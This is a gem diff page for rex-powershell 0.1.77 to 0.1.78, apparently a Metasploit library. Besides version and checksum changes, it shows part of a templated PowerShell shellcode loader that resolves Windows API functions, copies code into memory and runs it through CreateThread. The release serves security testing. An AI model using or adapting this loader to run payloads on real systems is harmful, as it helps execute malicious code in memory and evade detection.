rex-powershell 0.1.77 → 0.1.78

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 766a5b1e5bd8a685cc30702d24ecc26aa4d2329e
4
- data.tar.gz: 5b33cef8d8d141598fd0ae7c8c9e291f8d1a1eb3
3
+ metadata.gz: c6d8aba941865b5f381b53f34dee4553efc0eee5
4
+ data.tar.gz: 522959ccfd0d2dfdccd48f63aaf1ec33b7ab2fec
5
5
  SHA512:
6
- metadata.gz: 950d982a53b4bdc7a94524ec1649e4e3266b8e1aa44afc17a9b0f4591de724681cb0134002d331bdedcc1dc02fdd3e736b9fc3618538339bdcdf7cd560b75d9b
7
- data.tar.gz: b0d10c2378eab44066315260fe9297e71a26b9dfbde24f8f6c07a50a5d97984077e38c731ff1161f41ea90dbf049c25f1a1b3ae8ed803694d02fb9198af56330
6
+ metadata.gz: f64a6ba282c82edb2adbc380a2066a61f317c80697d1e66f0afe2a812dd60bc2cb9dad70cacdee1f7e69fdbbea72336da8e41ec48376f979e43bcdd16ec30b5f
7
+ data.tar.gz: 87b71d0daa1c7436c41628ab16c24c402f2b7f551854338374b242cfad047eee41efab2a10a2c5d2e36c29c5402ff37b18ddd941944b1e79da3532a32f22dba3
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -2,7 +2,7 @@ function %{func_get_proc_address} {
2
2
  Param ($%{var_module}, $%{var_procedure})
3
3
  $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
4
4
 
5
- return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
5
+ return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
6
6
  }
7
7
 
8
8
  function %{func_get_delegate_type} {
@@ -24,4 +24,4 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio
24
24
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
25
25
 
26
26
  $%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
27
- [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
27
+ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.77"
3
+ VERSION = "0.1.78"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.77
4
+ version: 0.1.78
5
5
  platform: ruby
6
6
  authors:
7
7
  - David 'thelightcosine' Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2017-10-03 00:00:00.000000000 Z
91
+ date: 2018-06-21 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
metadata.gz.sig CHANGED
Binary file